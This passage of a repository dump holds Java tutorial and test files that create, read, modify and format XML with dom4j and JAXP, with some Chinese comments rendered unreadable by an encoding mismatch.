titleEl.addText(\"Java configuration with XML Schema\");\n\t\tElement authorEl = articleEl.addElement(\"author\");\n\t\tauthorEl.addElement(\"firstname\").setText(\"Marcello\");\n\t\tauthorEl.addElement(\"lastname\").addText(\"Vitaletti\");\n\t\t// ����ʹ�� addDocType() ��������ĵ�����˵����\n\t\t// doc.addDocType(\"catalog\", null, \"file://c:/Dtds/catalog.dtd\");\n\t\tfail(doc.getRootElement().getName());\n\t\t// ��xmlת�����ı�\n\t\tfail(doc.asXML());\n\t\t// д�뵽�ļ�\n\t\tXMLWriter  output = new XMLWriter(new FileWriter(new File(\"D:/catalog.xml\"))); \n\t\toutput.write(doc); \n\t\toutput.close();\n\t}\n\n\t/**\n\t * DocumentHelper��һ���ĵ������ࣨ�����ࣩ������������ĵ���Ԫ�ء��ı������ԡ�ע�͡�CDATA��Namespace��XPath�Ĵ������Լ�����XPath����ĵ��ı����ͽ��ı�ת����Document��\n\t * parseText��ɽ�xml�ַ���ת����Doc�Ĺ��� Document doc =\n\t * DocumentHelper.parseText(\"<root></root>\");\n\t * \n\t * createDocument����һ���ĵ� Document doc = DocumentHelper.createDocument();\n\t * ����������ͻᴴ��һ�����и�Ԫ�ص��ĵ� createElement_x����һ��Ԫ�� Element el =\n\t * DocumentHelper.createElement_x(\"el\");\n\t * \n\t * Document��addElement�������Ը���ǰ�ĵ����һ����Ԫ�� Element root =\n\t * doc.addElement(\"catalog\");\n\t * \n\t * addComment�����������һ��ע�� root.addComment(\"An XML Catalog\"); ΪrootԪ�����һ��ע��\n\t * addProcessingInstruction���һ����� root.addProcessingInstruction(\"target\",\n\t * \"instruction\"); ΪrootԪ�����һ����� new BaseElement���Դ���һ��Ԫ�� Element journalEl =\n\t * new BaseElement(\"journal\"); addAttribute�������\n\t * journalEl.addAttribute(\"title\", \"XML Zone\");\n\t * \n\t * add���һ��Ԫ�� root.add(journalEl); ��journalElԪ����ӵ�rootԪ����\n\t * addElement���һ��Ԫ�أ������ص�ǰԪ�� Element articleEl =\n\t * journalEl.addElement(\"article\"); ��journalElԪ�����һ����Ԫ��article\n\t * setText��addText��������Ԫ�ص��ı�\n\t * authorEl.addElement(\"firstname\").setText(\"Marcello\");\n\t * authorEl.addElement(\"lastname\").addText(\"Vitaletti\");\n\t * \n\t * addDocType���������ĵ���DOCTYPE doc.addDocType(\"catalog\",\n\t * null,file://c:/Dtds/catalog.dtd);\n\t * \n\t * asXML���Խ��ĵ���Ԫ��ת����һ��xml�ַ��� doc.asXML(); root.asXML();\n\t * \n\t * XMLWriter����԰��ĵ�д�뵽�ļ��� output = new XMLWriter(new FileWriter(new\n\t * File(\"file/catalog.xml\"))); output.write(doc); output.close();\n\t */\n\n\t@SuppressWarnings(\"unchecked\")\n\t@Test\n\tpublic void modifyDoc() {\n\t\ttry {\n\t\t\tDocument doc = reader.read(new File(\"D:/catalog.xml\"));\n\t\t\t// �޸���������\n\t\t\tList list = doc.selectNodes(\"//article/@level\");\n\t\t\tIterator<Attribute> iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAttribute attr = iter.next();\n\t\t\t\tfail(attr.getName() + \"#\" + attr.getValue() + \"#\" + attr.getText());\n\t\t\t\tif (\"Intermediate\".equals(attr.getValue())) {\n\t\t\t\t\t// �޸�����ֵ\n\t\t\t\t\tattr.setValue(\"Introductory\");\n\t\t\t\t\tfail(attr.getName() + \"#\" + attr.getValue() + \"#\" + attr.getText());\n\t\t\t\t}\n\t\t\t}\n\t\t\tlist = doc.selectNodes(\"//article/@date\");\n\t\t\titer = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAttribute attr = iter.next();\n\t\t\t\tfail(attr.getName() + \"#\" + attr.getValue() + \"#\" + attr.getText());\n\t\t\t\tif (\"December-2001\".equals(attr.getValue())) {\n\t\t\t\t\t// �޸�����ֵ\n\t\t\t\t\tattr.setValue(\"December-2011\");\n\t\t\t\t\tfail(attr.getName() + \"#\" + attr.getValue() + \"#\" + attr.getText());\n\t\t\t\t}\n\t\t\t}\n\t\t\t// �޸Ľڵ�����\n\t\t\tlist = doc.selectNodes(\"//article\");\n\t\t\tIterator<Element> it = list.iterator();\n\t\t\twhile (it.hasNext()) {\n\t\t\t\tElement el = it.next();\n\t\t\t\tfail(el.getName() + \"#\" + el.getText() + \"#\" + el.getStringValue());\n\t\t\t\t// �޸�titleԪ��\n\t\t\t\tIterator<Element> elIter = el.elementIterator(\"title\");\n\t\t\t\twhile (elIter.hasNext()) {\n\t\t\t\t\tElement titleEl = elIter.next();\n\t\t\t\t\tfail(titleEl.getName() + \"#\" + titleEl.getText() + \"#\" + titleEl.getStringValue());\n\t\t\t\t\tif (\"Java configuration with XML Schema\".equals(titleEl.getTextTrim())) {\n\t\t\t\t\t\t// �޸�Ԫ���ı�ֵ\n\t\t\t\t\t\ttitleEl.setText(\"Modify the Java configuration with XML Schema\");\n\t\t\t\t\t\tfail(titleEl.getName() + \"#\" + titleEl.getText() + \"#\" + titleEl.getStringValue());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// �޸Ľڵ���Ԫ������\n\t\t\tlist = doc.selectNodes(\"//article/author\");\n\t\t\tit = list.iterator();\n\t\t\twhile (it.hasNext()) {\n\t\t\t\tElement el = it.next();\n\t\t\t\tfail(el.getName() + \"#\" + el.getText() + \"#\" + el.getStringValue());\n\t\t\t\tList<Element> childs = el.elements();\n\t\t\t\tfor (Element e : childs) {\n\t\t\t\t\tfail(e.getName() + \"#\" + e.getText() + \"#\" + e.getStringValue());\n\t\t\t\t\tif (\"Marcello\".equals(e.getTextTrim())) {\n\t\t\t\t\t\te.setText(\"Ayesha\");\n\t\t\t\t\t} else if (\"Vitaletti\".equals(e.getTextTrim())) {\n\t\t\t\t\t\te.setText(\"Malik\");\n\t\t\t\t\t}\n\t\t\t\t\tfail(e.getName() + \"#\" + e.getText() + \"#\" + e.getStringValue());\n\t\t\t\t}\n\t\t\t}\n\t\t\t// д�뵽�ļ�\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/Dom4j.java",
    "content": "import java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URL;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.Node;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\n\n\n\n\n\npublic class Dom4j {\n\t\n\t\n\t\n\t/**\n\t * 获取Document对象\n\t * 此方法文件位于 项目根目录 不是src目录\n\t * @param filename  项目根目录下的XML文件\n\t * @return  document \n\t * \n\t */\n\tpublic static Document load(String filename) {\n\t\tDocument document = null;\n\t\ttry {\n\t\t\tSAXReader saxReader = new SAXReader();\n\t\t\tdocument = saxReader.read(new File(filename));  //读取XML文件,获得document对象\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn document;\n\t}  \n\t\n\t\n\t/**\n\t * 通过url路径获取 Document对象\n\t * 此方式 xml文件位于远程服务器上\n\t * @param url 远程url文件\n\t * @return document对象\n\t */\n\tpublic static Document load2(URL url) {\n\t\tDocument document = null;\n\t\ttry {\n\t\t\tSAXReader saxReader = new SAXReader();\n\t\t\tdocument = saxReader.read(url);  //读取XML文件,获得document对象\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t\treturn document;\n\n\t}\n\t\n\t\n\t\n\t/**\n\t * 获取根节点\n\t * @param doc  document对象\n\t * @return 根元素\n\t */\n\tpublic static Element getRootElement(Document doc){\n\t\tElement root=null;\n\t\troot=doc.getRootElement(); //获取根节点\n\t\treturn root;\n\t\t\n\t\n\t}\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t/**\n\t * 将document树输出到指定的文件\n\t * @param document document对象\n\t * @param filename 文件名\n\t * @return 布尔值\n\t */\n\tpublic static boolean doc2XmlFile(Document document, String filename) {\n\t\tboolean flag = true;\n\t\ttry {\n\t\t\tXMLWriter writer = new XMLWriter( new OutputStreamWriter(new FileOutputStream(filename),\"UTF-8\"));\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t} catch (Exception ex) {\n\t\t\tflag = false;\n\t\t\tex.printStackTrace();\n\t\t}\n\t\t\tSystem.out.println(flag);\n\t\t\treturn flag;\n\t\t}\n\t\n\t\n\t \n\t\n\t/**\n\t * \n\t * \n\t * 此方法在本类中无用 ，没有整合 有兴趣的可以自己动手整合一下\n\t * \n\t * \n\t * Dom4j通过XMLWriter将Document对象表示的XML树写入指定的文件，\n\t * 并使用OutputFormat格式对象指定写入的风格和编码方法。\n\t * 调用OutputFormat.createPrettyPrint()方法可以获得一个默认的pretty print风格的格式对象。\n\t * 对OutputFormat对象调用setEncoding()方法可以指定XML文件的编码方法。\n\t * @param doc\n\t * @param out\n\t * @param encoding\n\t * @throws UnsupportedEncodingException\n\t * @throws IOException\n\t */\n\t/*public void writeTo(Document doc,OutputStream out, String encoding) throws UnsupportedEncodingException, IOException {\n\t       OutputFormat format = OutputFormat.createPrettyPrint();\n\t       format.setEncoding(\"gb2312\");\n\t       XMLWriter writer = new XMLWriter(System.out,format);\n\t       writer.write(doc);\n\t       writer.flush();\n\t}*/\n\t\n\t\n\t\n\t/**\n\t * 遍历根标记下的子元素\n\t * @param args\n\t */\n\n\tpublic static void read(Element root){\t\n\t\tfor(Iterator i=root.elementIterator();i.hasNext();){\n\t\t\tElement element=(Element)i.next();\n\t\t\tSystem.out.print(element.getName()+\":\"+element.getText());\n\t\t\tif(element.getNodeType()==Node.ELEMENT_NODE){\n\t\t\t\tread(element);\n\t\t\t}\n\t\t}\n\n\t}\n\t\n\t\n\t\n\t\n\t/**\n\t * 写入操作\n\t * @param fileName\n\t */\n\tpublic static void write(String fileName){\n\t\t\n\t\tDocument document=DocumentHelper.createDocument();//建立document对象，用来操作xml文件\n\t\tElement booksElement=document.addElement(\"books\");//建立根节点\n\t\tbooksElement.addComment(\"This is a test for dom4j \");//加入一行注释\n\t\tElement bookElement=booksElement.addElement(\"book\");//添加一个book节点\n\t\tbookElement.addAttribute(\"show\",\"yes\");//添加属性内容\n\t\tElement titleElement=bookElement.addElement(\"title\");//添加文本节点\n\t\ttitleElement.setText(\"ajax in action\");//添加文本内容\n\t\ttry{\n\t\t\t\n\t\t\tXMLWriter writer=new XMLWriter(new FileWriter(new File(fileName))); \n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\t/**\n\t * 修改XML文件\n\t */\n\tpublic static void modifyXMLFile() {\n\t\tString oldStr = \"test.xml\";\n\t\tString newStr = \"test1.xml\";\n\t\tDocument document = null;\n\t\t//修改节点的属性\n\t\ttry {\n\t\t\tSAXReader saxReader = new SAXReader(); // 用来读取xml文档\n\t\t\tdocument = saxReader.read(new File(oldStr)); // 读取xml文档\n\t\t\tList list = document.selectNodes(\"/books/book/@show\");// 用xpath查找节点book的属性\n\t\t\tIterator iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\tAttribute attribute = (Attribute) iter.next();\n\t\t\tif (attribute.getValue().equals(\"yes\"))\n\t\t\t    attribute.setValue(\"no\");\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t    e.printStackTrace();\n\t\t}\n\t\t\n\t\t//修改节点的内容\n\t\ttry {\n\t\t\tSAXReader saxReader = new SAXReader(); // 用来读取xml文档\n\t\t\tdocument = saxReader.read(new File(oldStr)); // 读取xml文档\n\t\t\tList list = document.selectNodes(\"/books/book/title\");// 用xpath查找节点book的内容\n\t\t\tIterator iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\tElement element = (Element) iter.next();\n\t\t\telement.setText(\"xxx\");// 设置相应的内容\n\t\t}\n\t\t} catch (Exception e) {\n\t\t    e.printStackTrace();\n\t\t}\n\n\t\t\n\t\ttry {\n\t\t\tXMLWriter writer = new XMLWriter(new FileWriter(new File(newStr)));\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t} catch (Exception ex) {\n\t\t    ex.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\tpublic static void main(String[] args){\n\t\tDocument doc=load(\"student2.xml\");\n\t\tElement root=getRootElement(doc);\n\t\tread(root);\n\twrite(\"test.xml\");\n\t\tmodifyXMLFile();\n\t}\n\t\n\t\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/Dom4jDemo.java",
    "content": "\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\nimport org.dom4j.tree.DefaultElement;\n\npublic class Dom4jDemo {\n\n\tpublic Dom4jDemo() {\n\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tnew Dom4jDemo().createXMLFile(\"dom4j.xml\");\n\t}\n\n\t/**\n\t * \n\t * ����һ��XML�ĵ�,�ĵ����������������\n\t * \n\t * @param filename\n\t *            �轨�����ļ���\n\t * \n\t * @return ���ز������, 0��ʧ��, 1��ɹ�\n\t * \n\t */\n\n\tpublic int createXMLFile(String filename) {\n\n\t\t/** ���ز������, 0��ʧ��, 1��ɹ� */\n\n\t\tint returnValue = 0;\n\n\t\t/** ����document���� */\n\n\t\tDocument document = DocumentHelper.createDocument();\n\n\t\t/** ����XML�ĵ��ĸ�books */\n\n\t\tElement booksElement = document.addElement(\"books\");\n\n\t\t/** ����һ��ע�� */\n\n\t\tbooksElement.addComment(\"This is a test for dom4j, holen, 2004.9.11\");\n\n\t\t/** �����һ��book�ڵ� */\n\n\t\tElement bookElement = booksElement.addElement(\"book\");\n\n\t\t/** ����show�������� */\n\n\t\tbookElement.addAttribute(\"show\", \"yes\");\n\n\t\t/** ����title�ڵ� */\n\n\t\tElement titleElement = bookElement.addElement(\"title\");\n\n\t\t/** Ϊtitle�������� */\n\n\t\ttitleElement.setText(\"Dom4j Tutorials\");\n\n\t\t/** ���Ƶ���ɺ�����book */\n\n\t\tbookElement = booksElement.addElement(\"book\");\n\n\t\tbookElement.addAttribute(\"show\", \"yes\");\n\n\t\ttitleElement = bookElement.addElement(\"title\");\n\n\t\ttitleElement.setText(\"Lucene Studing\");\n\n\t\tbookElement = booksElement.addElement(\"book\");\n\n\t\tbookElement.addAttribute(\"show\", \"no\");\n\n\t\ttitleElement = bookElement.addElement(\"title\");\n\n\t\ttitleElement.setText(\"Lucene in Action\");\n\n\t\t/** ����owner�ڵ� */\n\n\t\tElement ownerElement = booksElement.addElement(\"owner\");\n\n\t\townerElement.setText(\"O'Reilly\");\n\n\t\ttry {\n\n\t\t\t/** ��document�е�����д���ļ��� */\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(new File(filename)), format);\n\n\t\t\twriter.write(document);\n\n\t\t\twriter.close();\n\n\t\t\t/** ִ�гɹ�,�践��1 */\n\n\t\t\treturnValue = 1;\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn returnValue;\n\n\t}\n\n\t/**\n\t * \n\t * �޸�XML�ļ�������,�����Ϊһ�����ļ�\n\t * \n\t * �ص�����dom4j�������ӽڵ�,�޸Ľڵ�,ɾ���ڵ�\n\t * \n\t * @param filename\n\t *            �޸Ķ����ļ�\n\t * \n\t * @param newfilename\n\t *            �޸ĺ����Ϊ���ļ�\n\t * \n\t * @return ���ز������, 0��ʧ��, 1��ɹ�\n\t * \n\t */\n\n\tpublic static int ModiXMLFile(String filename, String newfilename, ItemVo itemvo) {\n\n\t\tint returnValue = 0;\n\n\t\ttry {\n\n\t\t\tSAXReader saxReader = new SAXReader();\n\n\t\t\tDocument document = saxReader.read(new File(filename));\n\n\t\t\t/** �޸�����֮��: ��title����ΪDom4j Tutorials,��ɾ���ýڵ� */\n\n\t\t\tList list = document.selectNodes(\"/bcaster/item/@id\");\n\t\t\tIterator iter = list.iterator();\n\t\t\tint length = 0;\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAttribute attribute = (Attribute) iter.next();\n//\t\t\t\tif (attribute.getValue().equals(itemvo.getId())) {\n\t\t\t\t\tlength = attribute.getParent().attributes().size();\n\t\t\t\t\tif (length > 2) {\n//\t\t\t\t\t\tattribute.getParent().attribute(0).setValue(itemvo.getItem_url());\n//\t\t\t\t\t\tattribute.getParent().attribute(1).setValue(itemvo.getLink());\n//\t\t\t\t\t\tattribute.getParent().attribute(2).setValue(itemvo.getId());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdocument.getRootElement().remove(attribute.getParent());\n\t\t\t\t\t\tElement emp1Element = DocumentHelper.createElement(\"item\");\n//\t\t\t\t\t\temp1Element.addAttribute(\"item_url\", itemvo.getItem_url());\n//\t\t\t\t\t\temp1Element.addAttribute(\"link\", itemvo.getLink());\n//\t\t\t\t\t\temp1Element.addAttribute(\"id\", itemvo.getId());\n//\t\t\t\t\t\temp1Element.addAttribute(\"titleName\", itemvo.getTitleName());\n\t\t\t\t\t\tdocument.getRootElement().add(emp1Element);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\t\t\ttry {\n\n\t\t\t\t/** ��document�е�����д���ļ��� */\n\t\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\t\tformat.setEncoding(\"UTF-8\");\n\n\t\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(new File(newfilename)), format);\n\n\t\t\t\twriter.write(document);\n\n\t\t\t\twriter.close();\n\n\t\t\t\t/** ִ�гɹ�,�践��1 */\n\t\t\t\tDom4jDemo.formatXMLFile(newfilename);\n\n\t\t\t\treturnValue = 1;\n\n\t\t\t} catch (Exception ex) {\n\n\t\t\t\tex.printStackTrace();\n\n\t\t\t}\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn returnValue;\n\n\t}\n\n\t/******\n\t * ����xml�ļ��е�����\n\t * \n\t * @param filename\n\t * @param newfilename\n\t * @param itemvo\n\t * @return xml�ļ� ,�ڵ�λ�� ʹ��xPath����://book[@type='society'],�ڵ�����, �ڵ���ֵ\n\t * @return ���ز������, 0��ʧ��, 1��ɹ�\n\t */\n\tpublic static int updateXMLFileAttribute(String filePathAndName, String newfilePathAndName, String noteXPath,\n\t\t\tString[] attributeName, String[] attributeValue) {\n\t\ttry {\n\t\t\tSAXReader saxReader = new SAXReader();\n\t\t\tDocument document = saxReader.read(new File(filePathAndName));\n\n\t\t\t// ��ȡ�ڵ�λ��\n\t\t\tElement noteElement = (Element) document.selectSingleNode(noteXPath);\n\n\t\t\tif (attributeName != null && attributeValue != null && attributeName.length == attributeValue.length) {\n\t\t\t\tfor (int j = 0; j < attributeName.length; j++) {\n\t\t\t\t\tAttribute attribute = noteElement.attribute(attributeName[j]);\n\t\t\t\t\t// System.out.print(\"������:\"+attribute.getName()+\"\n\t\t\t\t\t// ����ֵ:\"+attribute.getValue());\n\t\t\t\t\t// �Ƴ�����\n\t\t\t\t\tif (attribute != null) {\n\t\t\t\t\t\tnoteElement.remove(attribute);\n\t\t\t\t\t\tnoteElement.addAttribute(attributeName[j], attributeValue[j]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t/** ��document�е�����д���ļ��� */\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(new File(newfilePathAndName)), format);\n\n\t\t\twriter.write(document);\n\n\t\t\twriter.close();\n\n\t\t\t/** ִ�гɹ�,�践��1 */\n\t\t\tDom4jDemo.formatXMLFile(newfilePathAndName);\n\n\t\t\treturn 1;\n\n\t\t} catch (DocumentException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tpublic static int deleteXMLFile(String filename, String newfilename, ItemVo itemvo) {\n\n\t\tint returnValue = 0;\n\n\t\ttry {\n\n\t\t\tSAXReader saxReader = new SAXReader();\n\n\t\t\tDocument document = saxReader.read(new File(filename));\n\n\t\t\t/** �޸�����֮��: ��title����ΪDom4j Tutorials,��ɾ���ýڵ� */\n\n\t\t\tList list = document.selectNodes(\"/bcaster/item/@id\");\n\t\t\tIterator iter = list.iterator();\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tAttribute attribute = (Attribute) iter.next();\n//\t\t\t\tif (attribute.getValue().equals(itemvo.getId())) {\n//\t\t\t\t\tdocument.getRootElement().remove(attribute.getParent());\n//\t\t\t\t}\n\n\t\t\t}\n\t\t\ttry {\n\n\t\t\t\t/** ��document�е�����д���ļ��� */\n\t\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(new File(newfilename)), format);\n\t\t\t\twriter.write(document);\n\n\t\t\t\twriter.close();\n\n\t\t\t\t/** ִ�гɹ�,�践��1 */\n\t\t\t\tDom4jDemo.formatXMLFile(filename);\n\n\t\t\t\treturnValue = 1;\n\n\t\t\t} catch (Exception ex) {\n\n\t\t\t\tex.printStackTrace();\n\n\t\t\t}\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn returnValue;\n\n\t}\n\n\tpublic static int addXMLFile(String filename, String newfilename, ItemVo itemvo) {\n\n\t\tint returnValue = 0;\n\n\t\ttry {\n\n\t\t\tSAXReader saxReader = new SAXReader();\n\n\t\t\tDocument document = saxReader.read(new File(filename));\n\n\t\t\t// ���Ա���ڵ� \"employee\"\n\t\t\tElement emp1Element = DocumentHelper.createElement(\"item\");\n//\t\t\temp1Element.addAttribute(\"item_url\", itemvo.getItem_url());\n//\t\t\temp1Element.addAttribute(\"link\", itemvo.getLink());\n//\t\t\temp1Element.addAttribute(\"id\", itemvo.getId());\n//\t\t\temp1Element.addAttribute(\"titleName\", itemvo.getTitleName());\n\t\t\tdocument.getRootElement().add(emp1Element);\n\n\t\t\ttry {\n\n\t\t\t\t/** ��document�е�����д���ļ��� */\n\t\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(new File(newfilename)), format);\n\n\t\t\t\twriter.write(document);\n\n\t\t\t\twriter.close();\n\n\t\t\t\t/** ִ�гɹ�,�践��1 */\n\t\t\t\tDom4jDemo.formatXMLFile(filename);\n\n\t\t\t\treturnValue = 1;\n\n\t\t\t} catch (Exception ex) {\n\n\t\t\t\tex.printStackTrace();\n\n\t\t\t}\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn returnValue;\n\n\t}\n\n\tpublic static List loadItemList(String filename) {\n\n\t\tList list = new ArrayList();\n\n\t\ttry {\n\n\t\t\tSAXReader saxReader = new SAXReader();\n\n\t\t\tDocument document = saxReader.read(new File(filename));\n\n\t\t\tList xmllist = document.selectNodes(\"/bcaster/item\");\n\t\t\tfor (int i = 0, n = xmllist.size(); i < n; i++)\n\n\t\t\t{\n\t\t\t\tItemVo itemvo = new ItemVo();\n\n\t\t\t\tDefaultElement itemElement = (DefaultElement) xmllist.get(i);\n\t\t\t\tString item_url = itemElement.attributeValue(\"item_url\");\n\t\t\t\tString link = itemElement.attributeValue(\"link\");\n\t\t\t\tString id = itemElement.attributeValue(\"id\");\n\t\t\t\tString titleName = itemElement.attributeValue(\"titleName\");\n\n//\t\t\t\titemvo.setId(id);\n//\t\t\t\titemvo.setItem_url(item_url);\n//\t\t\t\titemvo.setLink(link);\n//\t\t\t\titemvo.setTitleName(titleName);\n\t\t\t\tlist.add(itemvo);\n\n\t\t\t\t// System.out.println(item_url + \"===========\" + link);\n\n\t\t\t}\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn list;\n\n\t}\n\n\t/**\n\t * \n\t * ��ʽ��XML�ĵ�,�������������\n\t * \n\t * @param filename\n\t * \n\t * @return\n\t * \n\t */\n\n\tpublic static int formatXMLFile(String filename) {\n\n\t\tint returnValue = 0;\n\n\t\ttry {\n\n\t\t\tSAXReader saxReader = new SAXReader();\n\n\t\t\tDocument document = saxReader.read(new File(filename));\n\n\t\t\tXMLWriter output = null;\n\n\t\t\t/** ��ʽ�����,����IE���һ�� */\n\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\n\t\t\t/** ָ��XML�ַ������� */\n\n\t\t\tformat.setEncoding(\"UTF-8\");\n\n\t\t\toutput = new XMLWriter(new FileOutputStream(new File(filename)), format);\n\n\t\t\toutput.write(document);\n\n\t\t\toutput.close();\n\n\t\t\t/** ִ�гɹ�,�践��1 */\n\n\t\t\treturnValue = 1;\n\n\t\t} catch (Exception ex) {\n\n\t\t\tex.printStackTrace();\n\n\t\t}\n\n\t\treturn returnValue;\n\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/ItemVo.java",
    "content": "\n\npublic class ItemVo {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/JAXPAttr.java",
    "content": "import java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\n\nimport org.w3c.dom.Attr;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.Text;\nimport org.xml.sax.SAXException;\n\n\n\n/**\n * 忽略Text的空白   测试无效\n * @author Wujun\n *\n */\npublic class JAXPAttr {\n\n\t/**\n\t *主函数\n\t */\n\tpublic static void main(String[] args) {\n\t\tGiveData3 give=new GiveData3();\n\t\t\n\t\ttry {\n\t\t\tDocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();\n\t\t    factory.setIgnoringElementContentWhitespace(true);  //忽略空白缩进\n\t\t\tDocumentBuilder domParser=factory.newDocumentBuilder();\n\t\t\t InputStream in = TestDom.class.getClassLoader().getResourceAsStream(\"university.xml\"); //读取src目录下文件\n\t\t\tDocument document=domParser.parse(in);\n\t\t\tElement root=document.getDocumentElement();\n\t\t\tNodeList nodeList=root.getChildNodes();\n\t\t\tgive.output(nodeList);\n\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\n\t}\n\t\n}\n\nclass GiveData3{\n\t\n\tpublic   void output(NodeList nodelist){\n\t\tint size=nodelist.getLength();  //获取接点列表的长度\n\t\tfor(int k=0;k<size;k++){\n\t\t\tNode node=nodelist.item(k); //获取节点列表中的一项 \n\t\t\tif(node.getNodeType()==node.TEXT_NODE){ //节点类型为TEXT\n\t\t\t\tText textNode=(Text)node;\n\t\t\t\tString content=textNode.getWholeText();\n\t\t\t\tSystem.out.print(content);\n\t\t\t}\n\t\t\tif(node.getNodeType()==Node.ELEMENT_NODE){ //节点类型为ELEMENT\n\t\t\t\tElement elementNode=(Element)node;\n\t\t\t\tString name=elementNode.getNodeName();\n\t\t\t\tSystem.out.print(name);\n\t\t\t\tNamedNodeMap map=elementNode.getAttributes(); //获取属性节点集合\n\t\t\t\t/**\n\t\t\t\t * 属性节点操作\n\t\t\t\t */\n\t\t\t\tfor(int m=0;m<map.getLength();m++){\n\t\t\t\t\tAttr attrNode=(Attr)map.item(m);\n\t\t\t\t\tString attrName=attrNode.getName(); //属性名称\n\t\t\t\t\tString attrValue=attrNode.getValue(); //属性值\n\t\t\t\t\tSystem.out.print(\" \"+attrName+\"=\"+attrValue);\n\t\t\t\t}\n\t\t\t\tNodeList nodes=elementNode.getChildNodes();\n\t\t\t\toutput(nodes);  //递归掉用该方法\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/JDBCUtilSingle.java",
